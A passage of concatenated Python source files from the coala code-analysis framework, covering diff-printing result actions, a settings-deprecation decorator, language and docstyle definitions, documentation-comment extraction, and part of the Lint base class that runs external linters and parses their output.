    def is_applicable(result, original_file_dict, file_diff_dict):
        if not isinstance(result, Result) or not result.diffs:
            return False

        try:
            for filename in result.diffs:
                if filename in file_diff_dict:
                    result.diffs[filename].__add__(file_diff_dict[filename])
            return True
        except ConflictError:
            return False

    def apply(self,
              result,
              original_file_dict,
              file_diff_dict,
              colored: bool=True):
        '''
        Print a diff of the patch that would be applied.

        :param colored: Wether or not to use colored output.
        '''
        printer = ConsolePrinter(colored)

        for filename, this_diff in sorted(result.diffs.items()):
            to_filename = this_diff.rename if this_diff.rename else filename
            to_filename = "/dev/null" if this_diff.delete else to_filename
            original_file = original_file_dict[filename]
            try:
                current_file = file_diff_dict[filename].modified
                new_file = (file_diff_dict[filename] + this_diff).modified
            except KeyError:
                current_file = original_file
                new_file = this_diff.modified

            if tuple(current_file) != tuple(new_file):
                print_beautified_diff(difflib.unified_diff(current_file,
                                                           new_file,
                                                           fromfile=filename,
                                                           tofile=to_filename),
                                      printer)
            elif filename != to_filename:
                print_from_name(printer, join('a', relpath(filename)))
                print_to_name(printer, join('b', relpath(to_filename)))

        return file_diff_dict






from coalib.results.Result import Result
from coalib.results.result_actions.ResultAction import ResultAction


class PrintDebugMessageAction(ResultAction):

    @staticmethod
    def is_applicable(result, original_file_dict, file_diff_dict):
        return isinstance(result, Result) and result.debug_msg != ""

    def apply(self, result, original_file_dict, file_diff_dict):
        """
        Print the debug message of the result.
        """
        print(result.debug_msg)

        return file_diff_dict






"""
The result_actions package holds objects deriving from ResultAction.
A ResultAction represents an action that an be applied to a result.
"""






"""
The bearlib is an optional library designed to ease the task of any Bear. Just
as the rest of coala the bearlib is designed to be as easy to use as possible
while offering the best possible flexibility.
"""

from coalib.settings.FunctionMetadata import FunctionMetadata


def deprecate_settings(**depr_args):
    """
     The purpose of this decorator is to allow passing old settings names to
     bears due to the heavy changes in their names.

     >>> @deprecate_settings(new='old')
     ... def run(new):
     ...     print(new)

     Now we can simply call the bear with the deprecated setting, we'll get a
     warning - but it still works!

     >>> run(old="Hello world!")
     The setting `old` is deprecated. Please use `new` instead.
     Hello world!
     >>> run(new="Hello world!")
     Hello world!

     This example represents the case where the old setting name needs to be
     modified to match the new one.

     >>> @deprecate_settings(new=('old', lambda a: a + 'coala!'))
     ... def func(new):
     ...     print(new)

     >>> func(old="Welcome to ")
     The setting `old` is deprecated. Please use `new` instead.
     Welcome to coala!
     >>> func(new='coala!')
     coala!

     The metadata for coala has been adjusted as well:

     >>> list(run.__metadata__.non_optional_params.keys())
     ['new']
     >>> list(run.__metadata__.optional_params.keys())
     ['old']

     You cannot deprecate an already deprecated setting. Don't try. It will
     introduce nondeterministic errors to your program.

     :param depr_args: A dictionary of settings as keys and their deprecated
                       names as values.
    """
    def _deprecate_decorator(func):

        def wrapping_function(*args, **kwargs):
            for arg, depr_arg_and_modifier in depr_args.items():
                deprecated_arg, _func = (
                    depr_arg_and_modifier
                    if isinstance(depr_arg_and_modifier, tuple)
                    else (depr_arg_and_modifier, lambda x: x))
                if deprecated_arg in kwargs and arg not in kwargs:
                    print("The setting `{}` is deprecated. Please use `{}` "
                          "instead.".format(deprecated_arg, arg))
                    kwargs[arg] = _func.__call__(kwargs[deprecated_arg])
                    del kwargs[deprecated_arg]
            return func(*args, **kwargs)

        new_metadata = FunctionMetadata.from_function(func)
        for arg, depr_arg_and_modifier in depr_args.items():
            deprecated_arg = (depr_arg_and_modifier[0]
                              if isinstance(depr_arg_and_modifier, tuple)
                              else depr_arg_and_modifier)
            new_metadata.add_alias(arg, deprecated_arg)
        wrapping_function.__metadata__ = new_metadata

        return wrapping_function

    return _deprecate_decorator






import os

from coalib.bearlib.abstractions.SectionCreatable import SectionCreatable
from coalib.misc import Constants
from coalib.parsing.ConfParser import ConfParser


class LanguageDefinition(SectionCreatable):

    def __init__(self, language: str, coalang_dir=None):
        """
        Creates a new LanguageDefinition object from file.

        A Language Definition holds constants which may help parsing the
        language. If you want to write a bear you'll probably want to use those
        definitions to keep your bear independent of the semantics of each
        language.

        :param language:           The actual language (e.g. C++).
        :param coalang_dir:        Path to directory with coalang language
                                   definition files. This replaces the default
                                   path if given.
        :raises FileNotFoundError: Raised when no definition is available for
                                   the given language.
        """
        SectionCreatable.__init__(self)
        self.language = language.lower()

        coalang_file = os.path.join(
            coalang_dir or Constants.language_definitions,
            self.language + ".coalang")

        self.lang_dict = ConfParser().parse(coalang_file)["default"]

    def __getitem__(self, item):
        return self.lang_dict[item]

    def __contains__(self, item):
        return item in self.lang_dict






"""
This directory holds means to get generic information for specific languages.
"""






"""
This directory holds language definitions.

Language definitions hold expressions that help defining specific syntax
elements for a programming language.

Currently defined keys are:

  names
  extensions
  comment_delimiter
  multiline_comment_delimiters
  string_delimiters
  multiline_string_delimiters
  keywords
  special_chars
"""






from collections import namedtuple

from coala_utils.decorators import generate_eq, generate_repr


@generate_repr()
@generate_eq("documentation", "language", "docstyle",
             "indent", "marker", "range")
class DocumentationComment:
    """
    The DocumentationComment holds information about a documentation comment
    inside source-code, like position etc.
    """
    Parameter = namedtuple('Parameter', 'name, desc')
    ReturnValue = namedtuple('ReturnValue', 'desc')
    Description = namedtuple('Description', 'desc')

    def __init__(self, documentation, docstyle_definition,
                 indent, marker, range):
        """
        Instantiates a new DocumentationComment.

        :param documentation: The documentation text.
        :param language:      The language of the documention.
        :param docstyle:      The docstyle used in the documentation.
        :param indent:        The string of indentation used in front
                              of the first marker of the documentation.
        :param marker:        The three-element tuple with marker strings,
                              that identified this documentation comment.
        :param range:         The position range of type TextRange.
        """
        self.documentation = documentation
        self.docstyle_definition = docstyle_definition
        self.indent = indent
        self.marker = marker
        self.range = range

    def __str__(self):
        return self.documentation

    @property
    def language(self):
        return self.docstyle_definition.language

    @property
    def docstyle(self):
        return self.docstyle_definition.docstyle

    @property
    def metadata(self):
        return self.docstyle_definition.metadata

    def parse(self):
        """
        Parses documentation independent of language and docstyle.

        :return:
            The list of all the parsed sections of the documentation. Every
            section is a namedtuple of either ``Description`` or ``Parameter``
            or ``ReturnValue``.
        :raises NotImplementedError:
            When no parsing method is present for the given language and
            docstyle.
        """
        if self.language == "python" and self.docstyle == "default":
            return self._parse_documentation_with_symbols(
                (":param ", ":"), ":return:")
        elif self.language == "python" and self.docstyle == "doxygen":
            return self._parse_documentation_with_symbols(
                ("@param ", " "), "@return ")
        elif self.language == "java" and self.docstyle == "default":
            return self._parse_documentation_with_symbols(
                ("@param  ", " "), "@return ")
        else:
            raise NotImplementedError(
                "Documentation parsing for {0.language!r} in {0.docstyle!r}"
                " has not been implemented yet".format(self))

    def _parse_documentation_with_symbols(self, param_identifiers,
                                          return_identifiers):
        """
        Parses documentation based on parameter and return symbols.

        :param param_identifiers:
            A tuple of two strings with which a parameter starts and ends.
        :param return_identifiers:
            The string with which a return description starts.
        :return:
            The list of all the parsed sections of the documentation. Every
            section is a namedtuple of either ``Description`` or ``Parameter``
            or ``ReturnValue``.
        """
        lines = self.documentation.splitlines(keepends=True)

        parse_mode = self.Description

        cur_param = ""

        desc = ""
        parsed = []

        for line in lines:

            stripped_line = line.strip()

            if stripped_line.startswith(param_identifiers[0]):
                parse_mode = self.Parameter
                param_offset = line.find(
                    param_identifiers[0]) + len(param_identifiers[0])
                splitted = line[param_offset:].split(param_identifiers[1], 1)
                cur_param = splitted[0].strip()

                param_desc = splitted[1]
                parsed.append(self.Parameter(name=cur_param, desc=param_desc))

            elif stripped_line.startswith(return_identifiers):
                parse_mode = self.ReturnValue
                return_offset = line.find(
                    return_identifiers) + len(return_identifiers)
                retval_desc = line[return_offset:]
                parsed.append(self.ReturnValue(desc=retval_desc))

            elif parse_mode == self.ReturnValue:
                retval_desc += line
                parsed.pop()
                parsed.append(self.ReturnValue(desc=retval_desc))

            elif parse_mode == self.Parameter:
                param_desc += line
                parsed.pop()
                parsed.append(self.Parameter(name=cur_param, desc=param_desc))

            else:
                desc += line
                # This is inside a try-except for cases where the list
                # is empty and has nothing to pop.
                try:
                    parsed.pop()
                except IndexError:
                    pass
                parsed.append(self.Description(desc=desc))

        return parsed

    @classmethod
    def from_metadata(cls, doccomment, docstyle_definition,
                      marker, indent, range):
        r"""
        Assembles a list of parsed documentation comment metadata.

        This function just assembles the documentation comment
        itself, without the markers and indentation.

        >>> from coalib.bearlib.languages.documentation.DocumentationComment \
        ...     import DocumentationComment
        >>> from coalib.bearlib.languages.documentation.DocstyleDefinition \
        ...     import DocstyleDefinition
        >>> from coalib.results.TextRange import TextRange
        >>> Description = DocumentationComment.Description
        >>> Parameter = DocumentationComment.Parameter
        >>> python_default = DocstyleDefinition.load("python3", "default")
        >>> parsed_doc = [Description(desc='\nDescription\n'),
        ...               Parameter(name='age', desc=' Age\n')]
        >>> str(DocumentationComment.from_metadata(
        ...         parsed_doc, python_default,
        ...         python_default.markers[0], 4,
        ...         TextRange.from_values(0, 0, 0, 0)))
        '\nDescription\n:param age: Age\n'

        :param doccomment:
            The list of parsed documentation comment metadata.
        :param docstyle_definition:
            The ``DocstyleDefinition`` instance that defines what docstyle is
            being used in a documentation comment.
        :param marker:
            The markers to be used in the documentation comment.
        :param indent:
            The indentation to be used in the documentation comment.
        :param range:
            The range of the documentation comment.
        :return:
            A ``DocumentationComment`` instance of the assembled documentation.
        """
        assembled_doc = ""
        for section in doccomment:
            section_desc = section.desc.splitlines(keepends=True)

            if isinstance(section, cls.Parameter):
                assembled_doc += (docstyle_definition.metadata.param_start +
                                  section.name +
                                  docstyle_definition.metadata.param_end)

            elif isinstance(section, cls.ReturnValue):
                assembled_doc += docstyle_definition.metadata.return_sep

            assembled_doc += ''.join(section_desc)

        return DocumentationComment(assembled_doc, docstyle_definition, indent,
                                    marker, range)

    def assemble(self):
        """
        Assembles parsed documentation to the original documentation.

        This function assembles the whole documentation comment, with the
        given markers and indentation.
        """
        lines = self.documentation.splitlines(keepends=True)
        assembled = self.indent + self.marker[0]
        if len(lines) == 0:
            return self.marker[0] + self.marker[2]
        assembled += lines[0]
        assembled += ''.join('\n' if line == '\n' and not self.marker[1]
                             else self.indent + self.marker[1] + line
                             for line in lines[1:])
        return (assembled +
                (self.indent if lines[-1][-1] == '\n' else '') +
                self.marker[2])






import re

from coalib.bearlib.languages.documentation.DocstyleDefinition import (
    DocstyleDefinition)
from coalib.bearlib.languages.documentation.DocumentationComment import (
    DocumentationComment)
from coalib.results.TextRange import TextRange


def _extract_doc_comment_simple(content, line, column, markers):
    """
    Extract a documentation that starts at given beginning with simple layout.

    The property of the simple layout is that there's no each-line marker. This
    applies e.g. for python docstrings.

    :param content: Presplitted lines of the source-code-string.
    :param line:    Line where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param column:  Column where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param markers: The documentation identifying markers.
    :return:        If the comment matched layout a triple with end-of-comment
                    line, column and the extracted documentation. If not
                    matched, returns None.
    """
    align_column = column - len(markers[0])

    pos = content[line].find(markers[2], column)
    if pos != -1:
        return line, pos + len(markers[2]), content[line][column:pos]

    doc_comment = content[line][column:]
    line += 1

    while line < len(content):
        pos = content[line].find(markers[2])
        if pos == -1:
            doc_comment += ("\n" if content[line][align_column:] == ""
                            else content[line][align_column:])
        else:
            doc_comment += content[line][align_column:pos]
            return line, pos + len(markers[2]), doc_comment

        line += 1

    return None


def _extract_doc_comment_continuous(content, line, column, markers):
    """
    Extract a documentation that starts at given beginning with continuous
    layout.

    The property of the continuous layout is that the each-line-marker and the
    end-marker do equal. Documentation is extracted until no further marker is
    found. Applies e.g. for doxygen style python documentation:

    ```
    ## main
    #
    #  detailed
    ```

    :param content: Presplitted lines of the source-code-string.
    :param line:    Line where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param column:  Column where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param markers: The documentation identifying markers.
    :return:        If the comment matched layout a triple with end-of-comment
                    line, column and the extracted documentation. If not
                    matched, returns None.
    """
    marker_len = len(markers[1])

    doc_comment = content[line][column:]
    line += 1
    while line < len(content):
        pos = content[line].find(markers[1])
        if pos == -1:
            return line, 0, doc_comment
        else:
            doc_comment += content[line][pos + marker_len:]

        line += 1

    if content[line - 1][-1] == "\n":
        column = 0
    else:
        # This case can appear on end-of-document without a ``\n``.
        line -= 1
        column = len(content[line])

    return line, column, doc_comment


def _extract_doc_comment_standard(content, line, column, markers):
    """
    Extract a documentation that starts at given beginning with standard
    layout.

    The standard layout applies e.g. for C doxygen-style documentation:

    ```
    /**
     * documentation
     */
    ```

    :param content: Presplitted lines of the source-code-string.
    :param line:    Line where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param column:  Column where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param markers: The documentation identifying markers.
    :return:        If the comment matched layout a triple with end-of-comment
                    line, column and the extracted documentation. If not
                    matched, returns None.
    """
    pos = content[line].find(markers[2], column)
    if pos != -1:
        return line, pos + len(markers[2]), content[line][column:pos]

    doc_comment = content[line][column:]
    line += 1

    while line < len(content):
        pos = content[line].find(markers[2])
        each_line_pos = content[line].find(markers[1])

        if pos == -1:
            if each_line_pos == -1:
                # If the first text occurrence is not the each-line marker
                # now we violate the doc-comment layout.
                return None
            doc_comment += content[line][each_line_pos + len(markers[1]):]
        else:
            # If no each-line marker found or it's located past the end marker:
            # extract no further and end the doc-comment.
            if each_line_pos != -1 and each_line_pos + 1 < pos:
                doc_comment += content[line][each_line_pos +
                                             len(markers[1]):pos]

            return line, pos + len(markers[2]), doc_comment

        line += 1

    return None


def _extract_doc_comment(content, line, column, markers):
    """
    Delegates depending on the given markers to the right extraction method.

    :param content: Presplitted lines of the source-code-string.
    :param line:    Line where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param column:  Column where the documentation comment starts (behind the
                    start marker). Zero-based.
    :param markers: The documentation identifying markers.
    :return:        If the comment matched layout a triple with end-of-comment
                    line, column and the extracted documentation. If not
                    matched, returns None.
    """
    if markers[1] == "":
        # Extract and align to start marker.
        return _extract_doc_comment_simple(content, line, column, markers)
    elif markers[1] == markers[2]:
        # Search for the each-line marker until it runs out.
        return _extract_doc_comment_continuous(content, line, column, markers)
    else:
        return _extract_doc_comment_standard(content, line, column, markers)


def _compile_multi_match_regex(strings):
    """
    Compiles a regex object that matches each of the given strings.

    :param strings: The strings to match.
    :return:        A regex object.
    """
    return re.compile("|".join(re.escape(s) for s in strings))


def _extract_doc_comment_from_line(content, line, column, regex,
                                   marker_dict, docstyle_definition):
    cur_line = content[line]
    begin_match = regex.search(cur_line, column)
    if begin_match:
        indent = cur_line[:begin_match.start()]
        column = begin_match.end()
        for marker in marker_dict[begin_match.group()]:
            doc_comment = _extract_doc_comment(content, line, column, marker)
            if doc_comment is not None:
                end_line, end_column, documentation = doc_comment

                rng = TextRange.from_values(line + 1,
                                            begin_match.start() + 1,
                                            end_line + 1,
                                            end_column + 1)
                doc = DocumentationComment(documentation, docstyle_definition,
                                           indent, marker, rng)

                return end_line, end_column, doc

    return line + 1, 0, None


def extract_documentation_with_markers(content, docstyle_definition):
    """
    Extracts all documentation texts inside the given source-code-string.

    :param content: The source-code-string where to extract documentation from.
                    Needs to be a list or tuple where each string item is a
                    single line (including ending whitespaces like ``\\n``).
    :param markers: The list/tuple of marker-sets that identify a
                    documentation-comment. Low-index markers have higher
                    priority than high-index markers.
    :return:        An iterator returning each DocumentationComment found in
                    the content.
    """
    # Prepare marker-tuple dict that maps a begin pattern to the corresponding
    # marker_set(s). This makes it faster to retrieve a marker-set from a
    # begin sequence we initially want to search for in source code. Then
    # the possible found documentation match is processed further with the
    # rest markers.
    markers = docstyle_definition.markers

    marker_dict = {}
    for marker_set in markers:
        if marker_set[0] not in marker_dict:
            marker_dict[marker_set[0]] = [marker_set]
        else:
            marker_dict[marker_set[0]].append(marker_set)

    # Using regexes to perform a variable match is faster than finding each
    # substring with ``str.find()`` choosing the lowest match.
    begin_regex = _compile_multi_match_regex(
        marker_set[0] for marker_set in markers)

    line = 0
    column = 0
    while line < len(content):
        line, column, doc = _extract_doc_comment_from_line(
            content,
            line,
            column,
            begin_regex,
            marker_dict,
            docstyle_definition)
        if doc:
            yield doc


def extract_documentation(content, language, docstyle):
    """
    Extracts all documentation texts inside the given source-code-string using
    the coala docstyle definition files.

    The documentation texts are sorted by their order appearing in ``content``.

    For more information about how documentation comments are identified and
    extracted, see DocstyleDefinition.doctypes enumeration.

    :param content:            The source-code-string where to extract
                               documentation from. Needs to be a list or tuple
                               where each string item is a single line
                               (including ending whitespaces like ``\\n``).
    :param language:           The programming language used.
    :param docstyle:           The documentation style/tool used
                               (e.g. doxygen).
    :raises FileNotFoundError: Raised when the docstyle definition file was not
                               found.
    :raises KeyError:          Raised when the given language is not defined in
                               given docstyle.
    :raises ValueError:        Raised when a docstyle definition setting has an
                               invalid format.
    :return:                   An iterator returning each DocumentationComment
                               found in the content.
    """
    docstyle_definition = DocstyleDefinition.load(language, docstyle)
    return extract_documentation_with_markers(content, docstyle_definition)






from collections import Iterable, namedtuple
from glob import iglob
import os.path

from coala_utils.decorators import (
    enforce_signature, generate_eq, generate_repr)
from coalib.parsing.ConfParser import ConfParser


@generate_repr()
@generate_eq("language", "docstyle", "markers")
class DocstyleDefinition:
    """
    The DocstyleDefinition class holds values that identify a certain type of
    documentation comment (for which language, documentation style/tool used
    etc.).
    """
    Metadata = namedtuple("Metadata", ("param_start", "param_end",
                                       "return_sep"))

    @enforce_signature
    def __init__(self, language: str, docstyle: str, markers: (Iterable, str),
                 metadata: Metadata):
        """
        Instantiates a new DocstyleDefinition.

        :param language: The case insensitive programming language of the
                         documentation comment, e.g. ``"CPP"`` for C++ or
                         ``"PYTHON3"``.
        :param docstyle: The case insensitive documentation style/tool used
                         to document code, e.g. ``"default"`` or ``"doxygen"``.
        :param markers:  An iterable of marker/delimiter string iterables
                         or a single marker/delimiter string iterable that
                         identify a documentation comment. See ``markers``
                         property for more details on markers.
        :param metadata: A namedtuple consisting of certain attributes that
                         form the layout of the certain documentation comment
                         e.g. ``param_start`` defining the start symbol of
                         the parameter fields and ``param_end`` defining the
                         end.
        """
        self._language = language.lower()
        self._docstyle = docstyle.lower()

        # Check and modify tuple if only one marker_set exists.
        markers = tuple(markers)
        if len(markers) == 3 and all(isinstance(x, str) for x in markers):
            markers = (markers,)

        self._markers = tuple(tuple(marker_set) for marker_set in markers)

        # Check marker set dimensions.
        for marker_set in self._markers:
            length = len(marker_set)
            if length != 3:
                raise ValueError("Length of a given marker set was not 3 (was "
                                 "actually {}).".format(length))

        self._metadata = metadata

    @property
    def language(self):
        """
        The programming language.

        :return: A lower-case string defining the programming language (i.e.
                 "cpp" or "python").
        """
        return self._language

    @property
    def docstyle(self):
        """
        The documentation style/tool used to document code.

        :return: A lower-case string defining the docstyle (i.e. "default" or
                 "doxygen").
        """
        return self._docstyle

    @property
    def markers(self):
        """
        A tuple of marker sets that identify a documentation comment.

        Marker sets consist of 3 entries where the first is the start-marker,
        the second one the each-line marker and the last one the end-marker.
        For example a marker tuple with a single marker set
        ``(("/**", "*", "*/"),)`` would match following documentation comment:

        ::

            /**
             * This is documentation.
             */

        It's also possible to supply an empty each-line marker
        (``("/**", "", "*/")``):

        ::

            /**
             This is more documentation.
             */

        Markers are matched "greedy", that means it will match as many
        each-line markers as possible. I.e. for ``("///", "///", "///")``):

        ::

            /// Brief documentation.
            ///
            /// Detailed documentation.

        :return: A tuple of marker/delimiter string tuples that identify a
                 documentation comment.
        """
        return self._markers

    @property
    def metadata(self):
        """
        A namedtuple of certain attributes present in the documentation.

        These attributes are used to define parts of the documentation.
        """
        return self._metadata

    @classmethod
    @enforce_signature
    def load(cls, language: str, docstyle: str, coalang_dir=None):
        """
        Loads a ``DocstyleDefinition`` from the coala docstyle definition files.

        This function considers all settings inside the according coalang-files
        as markers, except ``param_start``, ``param_end`` and ``return_sep``
        which are considered as special metadata markers.

        .. note::

            When placing new coala docstyle definition files, these must
            consist of only lowercase letters and end with ``.coalang``!

        :param language:           The case insensitive programming language of
                                   the documentation comment as a string.
        :param docstyle:           The case insensitive documentation
                                   style/tool used to document code, e.g.
                                   ``"default"`` or ``"doxygen"``.
        :param coalang_dir:        Path to directory with coalang docstyle
                                   definition files. This replaces the default
                                   path if given.
        :raises FileNotFoundError: Raised when the given docstyle was not
                                   found.
        :raises KeyError:          Raised when the given language is not
                                   defined for given docstyle.
        :return:                   The ``DocstyleDefinition`` for given language
                                   and docstyle.
        """

        docstyle = docstyle.lower()

        language_config_parser = ConfParser(remove_empty_iter_elements=False)

        coalang_file = os.path.join(
            coalang_dir or os.path.dirname(__file__), docstyle + ".coalang")

        try:
            docstyle_settings = language_config_parser.parse(coalang_file)
        except FileNotFoundError:
            raise FileNotFoundError("Docstyle definition " + repr(docstyle) +
                                    " not found.")

        language = language.lower()

        try:
            docstyle_settings = docstyle_settings[language]
        except KeyError:
            raise KeyError("Language {!r} is not defined for docstyle {!r}."
                           .format(language, docstyle))

        metadata_settings = ("param_start", "param_end", "return_sep")

        metadata = cls.Metadata(*(str(docstyle_settings.get(req_setting, ""))
                                  for req_setting in metadata_settings))

        marker_sets = (tuple(value)
                       for key, value in
                       docstyle_settings.contents.items()
                       if key not in metadata_settings and
                       not key.startswith("comment"))

        return cls(language, docstyle, marker_sets, metadata)

    @staticmethod
    def get_available_definitions():
        """
        Returns a sequence of pairs with ``(docstyle, language)`` which are
        available when using ``load()``.

        :return: A sequence of pairs with ``(docstyle, language)``.
        """
        language_config_parser = ConfParser(remove_empty_iter_elements=False)
        pattern = os.path.join(os.path.dirname(__file__), "*.coalang")

        for coalang_file in iglob(pattern):
            docstyle = os.path.splitext(os.path.basename(coalang_file))[0]
            # Ignore files that are not lowercase, as coalang files have to be.
            if docstyle.lower() == docstyle:
                for language in language_config_parser.parse(coalang_file):
                    yield docstyle, language.lower()






"""
Provides facilities to extract, parse and assemble documentation comments for
different languages and documentation tools.
"""






import os
import re
import shlex
import shutil
from coala_utils.string_processing import escape
from subprocess import check_call, CalledProcessError, DEVNULL
import tempfile

from coalib.bears.Bear import Bear
from coala_utils.decorators import enforce_signature
from coalib.misc.Shell import run_shell_command, get_shell_type
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY


def escape_path_argument(path, shell=get_shell_type()):
    """
    Makes a raw path ready for using as parameter in a shell command (escapes
    illegal characters, surrounds with quotes etc.).

    :param path:  The path to make ready for shell.
    :param shell: The shell platform to escape the path argument for. Possible
                  values are "sh", "powershell", and "cmd" (others will be
                  ignored and return the given path without modification).
    :return:      The escaped path argument.
    """
    if shell == "cmd":
        # If a quote (") occurs in path (which is illegal for NTFS file
        # systems, but maybe for others), escape it by preceding it with
        # a caret (^).
        return '"' + escape(path, '"', '^') + '"'
    elif shell == "sh":
        return shlex.quote(path)
    else:
        # Any other non-supported system doesn't get a path escape.
        return path


class Lint(Bear):

    """
    Deals with the creation of linting bears.

    For the tutorial see:
    http://coala.readthedocs.org/en/latest/Users/Tutorials/Linter_Bears.html

    :param executable:                  The executable to run the linter.
    :param prerequisite_command:        The command to run as a prerequisite
                                        and is of type ``list``.
    :param prerequisites_fail_msg:      The message to be displayed if the
                                        prerequisite fails.
    :param arguments:                   The arguments to supply to the linter,
                                        such that the file name to be analyzed
                                        can be appended to the end. Note that
                                        we use ``.format()`` on the arguments -
                                        so, ``{abc}`` needs to be given as
                                        ``{{abc}}``. Currently, the following
                                        will be replaced:

                                         - ``{filename}`` - The filename passed
                                           to ``lint()``
                                         - ``{config_file}`` - The config file
                                           created using ``config_file()``

    :param output_regex:    The regex which will match the output of the linter
                            to get results. This is not used if
                            ``gives_corrected`` is set. This regex should give
                            out the following variables:

                             - line - The line where the issue starts.
                             - column - The column where the issue starts.
                             - end_line - The line where the issue ends.
                             - end_column - The column where the issue ends.
                             - severity - The severity of the issue.
                             - message - The message of the result.
                             - origin - The origin of the issue.

    :param diff_severity:   The severity to use for all results if
                            ``gives_corrected`` is set.
    :param diff_message:    The message to use for all results if
                            ``gives_corrected`` is set.
    :param use_stderr:      Uses stderr as the output stream is it's True.
    :param use_stdin:       Sends file as stdin instead of giving the file name.
    :param gives_corrected: True if the executable gives the corrected file
                            or just the issues.
    :param severity_map:    A dict where the keys are the possible severity
                            values the Linter gives out and the values are the
                            severity of the coala Result to set it to. If it is
                            not a dict, it is ignored.
    """
    executable = None
    prerequisite_command = None
    prerequisite_fail_msg = 'Unknown failure.'
    arguments = ""
    output_regex = re.compile(r'(?P<line>\d+)\.(?P<column>\d+)\|'
                              r'(?P<severity>\d+): (?P<message>.*)')
    diff_message = 'No result message was set'
    diff_severity = RESULT_SEVERITY.NORMAL
    use_stderr = False
    use_stdin = False
    gives_corrected = False
    severity_map = None

    def lint(self, filename=None, file=None):
        """
        Takes a file and lints it using the linter variables defined apriori.

        :param filename:  The name of the file to execute.
        :param file:      The contents of the file as a list of strings.
        """
        assert ((self.use_stdin and file is not None) or
                (not self.use_stdin and filename is not None))

        config_file = self.generate_config_file()
        self.command = self._create_command(filename=filename,
                                            config_file=config_file)

        stdin_input = "".join(file) if self.use_stdin else None
        stdout_output, stderr_output = run_shell_command(self.command,
                                                         stdin=stdin_input,
                                                         shell=True)
        self.stdout_output = tuple(stdout_output.splitlines(keepends=True))
        self.stderr_output = tuple(stderr_output.splitlines(keepends=True))
        results_output = (self.stderr_output if self.use_stderr
                          else self.stdout_output)
        results = self.process_output(results_output, filename, file)
        if not self.use_stderr:
            self._print_errors(self.stderr_output)

        if config_file:
            os.remove(config_file)

        return results

    def process_output(self, output, filename, file):
        """
        Take the output (from stdout or stderr) and use it to create Results.
        If the class variable ``gives_corrected`` is set to True, the
        ``_process_corrected()`` is called. If it is False,
        ``_process_issues()`` is called.

        :param output:   The output to be used to obtain Results from. The
                         output is either stdout or stderr depending on the
                         class variable ``use_stderr``.
        :param filename: The name of the file whose output is being processed.
        :param file:     The contents of the file whose output is being
                         processed.
        :return:         Generator which gives Results produced based on this
                         output.
        """
        if self.gives_corrected:
            return self._process_corrected(output, filename, file)
        else:
            return self._process_issues(output, filename)

    def _process_corrected(self, output, filename, file):
        """
        Process the output and use it to create Results by creating diffs.
        The diffs are created by comparing the output and the original file.

        :param output:   The corrected file contents.
        :param filename: The name of the file.
        :param file:     The original contents of the file.
        :return:         Generator which gives Results produced based on the
                         diffs created by comparing the original and corrected
                         contents.
        """
        for diff in self.__yield_diffs(file, output):
            yield Result(self,
                         self.diff_message,
                         affected_code=(diff.range(filename),),
                         diffs={filename: diff},
                         severity=self.diff_severity)

    def _process_issues(self, output, filename):
        """
        Process the output using the regex provided in ``output_regex`` and
        use it to create Results by using named captured groups from the regex.

        :param output:   The output to be parsed by regex.
        :param filename: The name of the file.
        :param file:     The original contents of the file.
        :return:         Generator which gives Results produced based on regex
                         matches using the ``output_regex`` provided and the
                         ``output`` parameter.
        """
        regex = self.output_regex
        if isinstance(regex, str):
            regex = regex % {"file_name": filename}

        # Note: We join ``output`` because the regex may want to capture
        #       multiple lines also.
        for match in re.finditer(regex, "".join(output)):
            yield self.match_to_result(match, filename)

    def _get_groupdict(self, match):
        """
        Convert a regex match's groups into a dictionary with data to be used
        to create a Result. This is used internally in ``match_to_result``.

        :param match:    The match got from regex parsing.
        :param filename: The name of the file from which this match is got.
        :return:         The dictionary containing the information:
                         - line - The line where the result starts.
                         - column - The column where the result starts.
                         - end_line - The line where the result ends.
                         - end_column - The column where the result ends.
                         - severity - The severity of the result.
                         - message - The message of the result.
                         - origin - The origin of the result.
        """
        groups = match.groupdict()
        if (
                isinstance(self.severity_map, dict) and
                "severity" in groups and
                groups["severity"] in self.severity_map):
            groups["severity"] = self.severity_map[groups["severity"]]
        return groups

    def _create_command(self, **kwargs):
        command = self.executable + ' ' + self.arguments
        for key in ("filename", "config_file"):
            kwargs[key] = escape_path_argument(kwargs.get(key, "") or "")
        return command.format(**kwargs)

    def _print_errors(self, errors):
        for line in filter(lambda error: bool(error.strip()), errors):
            self.warn(line)

    @staticmethod
    def __yield_diffs(file, new_file):
        if tuple(new_file) != tuple(file):
            wholediff = Diff.from_string_arrays(file, new_file)

            for diff in wholediff.split_diff():
                yield diff

    def match_to_result(self, match, filename):
        """
        Convert a regex match's groups into a coala Result object.

        :param match:    The match got from regex parsing.
        :param filename: The name of the file from which this match is got.
        :return:         The Result object.
        """
        groups = self._get_groupdict(match)

        # Pre process the groups
        for variable in ("line", "column", "end_line", "end_column"):
            if variable in groups and groups[variable]:
                groups[variable] = int(groups[variable])

        if "origin" in groups:
            groups['origin'] = "{} ({})".format(str(self.name),
                                                str(groups["origin"]))

        return Result.from_values(
            origin=groups.get("origin", self),
            message=groups.get("message", ""),
            file=filename,
            severity=int(groups.get("severity", RESULT_SEVERITY.NORMAL)),
            line=groups.get("line", None),
            column=groups.get("column", None),
            end_line=groups.get("end_line", None),
            end_column=groups.get("end_column", None))

    @classmethod
    def check_prerequisites(cls):
        """
        Checks for prerequisites required by the Linter Bear.

        It uses the class variables:
        -  ``executable`` - Checks that it is available in the PATH using
        ``shutil.which``.
        -  ``prerequisite_command`` - Checks that when this command is run,
        the exitcode is 0. If it is not zero, ``prerequisite_fail_msg``
        is gives as the failure message.

        If either of them is set to ``None`` that check is ignored.

        :return: True is all checks are valid, else False.
        """
        return cls._check_executable_command(
            executable=cls.executable,
            command=cls.prerequisite_command,
            fail_msg=cls.prerequisite_fail_msg)

    @classmethod
    @enforce_signature
    def _check_executable_command(cls, executable,
                                  command: (list, tuple, None), fail_msg):
        """
        Checks whether the required executable is found and the
        required command successfully executes.

        The function is intended be used with classes having an
        executable, prerequisite_command and prerequisite_fail_msg.

        :param executable:   The executable to check for.
        :param command:      The command to check as a prerequisite.
        :param fail_msg:     The fail message to display when the
